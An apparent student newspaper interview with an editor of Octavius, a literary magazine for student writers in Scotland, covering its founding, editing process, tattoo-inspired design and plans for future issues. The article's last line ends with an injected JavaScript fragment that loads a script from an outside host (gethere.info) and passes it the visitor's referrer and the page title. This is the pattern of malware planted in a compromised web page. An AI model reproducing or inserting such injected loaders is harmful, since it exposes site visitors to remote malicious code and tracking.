The literary scene in Scotland is exciting and diverse, yet often unheard of if you’re not directly involved. Students are swamped in journalism, social media and PR leaflets that many of them will be entirely unfamiliar with the concept of a literary magazine. The gap for publishing creative writing has been widening as more and more student writers want their work to be noticed. But 3 Strathclyde graduates have come up with a solution. Breaking into Scotland’s literary sector with a new platform for student writers: Octavius magazine launched last year publishing short stories, poems and flash fiction from students studying in Scotland. After an incredible start, issue two was launched at the end of August. The Strathclyde Telegraph chatted with one of the editors to find out the inspiration behind the magazine and their plans for the future.
Samuel Best, 23, is one of the editors of Octavius magazine along with Charlene Moore and Sarah Marie Mooney. When I met up with Sam I wanted to find out why he wanted to take on this challenge. He tells me, smiling: “I’ve just always wanted to run a magazine – especially a literary one.” Fulfilling life aspirations, why not; but there’s more much more to it than that. The idea came from Sam’s final part of his creative writing degree which was saw him and his peers creating a literary journal: “we thought why stop there – you have student newspapers like The Strathclyde Telegraph but there’s nothing really like that for creative writing. We reckoned there were people out there who could write and send us good writing – and we weren’t wrong: we received hundreds of submissions of high quality work.”
It’s true. Students are encouraged to contribute to their student paper but when it comes to creative writing there are few opportunities. The pioneers saw the gap and seized the chance to create a new platform for writers. But in reality, would students respond? “The first time it was obviously nerve-racking. The very first time we did it we had no context and no idea what we were going to get. We could have had 10 people, we could have had 100. Luckily it was closer to the 100 mark. We were so happy – it was a great thing to get such an overwhelming response to the first issue.” The success didn’t end there. When issue one went on sale it sold roughly have its print run on the launch night. “We were ecstatic because we knew that a massive response from writers didn’t guarantee massive sales.”
The call had been answered. There was indeed a massive demand for student writers to showcase their skills. But what does an editor do when their inbox is inundated with poetry and short stories? I was keen to find out the mechanics of the production process. “Luckily, most of the writing doesn’t need that much work at all. A lot of the time it’s just about as making the piece as readable as possible by taking out a comma or putting in a full stop. We reckoned this might happen: people associate that because you’re a student you’re learning to be good at something; but we figured that doesn’t necessarily mean you’re bad at it.” However, the editor notes that they’re not in the business of altering pieces of fiction: “we don’t rewrite anyone’s work to the degree it’s unrecognisable. Really, we just shape the outside then the writers fill in the middle.”
I mused over my e-copy of Octavius magazine: delving in and out of the writing finesse and admiring the mag’s style. It’s unique. Pirate ships and roses composed in the style of tattoo artwork. There’s as much to look at as there is to read. Sam tells me it all started with the name and evolved from there. Based on a myth of an abandoned ship wandering the Arctic seas. “We wanted a strong image overall that was core to what we were trying to do. It’s important, as a literary journal, because there are so many out there, that we wanted to be instantly identifiable by our image.” Sam tells me the man behind the design is Roberto Poliri of Forevermore Tattoo parlour in Glasgow: “For each edition we get an image in our head of what we want it to look like and we approach Roberto from Forevermore Tattoos and he takes our idea and makes it 1000 times better.”
So what can we expect from issue 2 then? Huge variety, Sam tells me. Everything from sci-fi to translated Norse poetry – truly something for everyone. “We have contributions from writers from all over the world who are studying and residing in Scotland. We didn’t want to close the door to foreign students because we think it’s a good reflection of Scotland as a place that is integrated and everyone from all backgrounds can dive into the arts scene.” The long term plan for the magazine is mapped out as well: “In five years I’d love to see Octavius on university reading lists and in bookshops – we have a plan of where we’d like to be and we’re going to put the work in.”
But to get there, Octavius magazine will continue to rely on student writers. Finally, I wanted to ask Sam what advice he would give for those young writers who are trying to get published but feel inhibited or lack confidence in their work: “A lot of student writers may be reluctant to submit their work because they don’t feel they’re old enough or they don’t feel they have the credentials. We’d tell them to write more – practice makes perfect. So just go for it. We want writers to know we’re behind them.”
Octavius magazine is currently looking for submissions for issue 3. More information can be found at www.octaviusmagazine.com where you can also but an e-copy of issue 1 and issue 2 is on sale now and can be picked up at Waterstones, Sauchiehall Street.s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;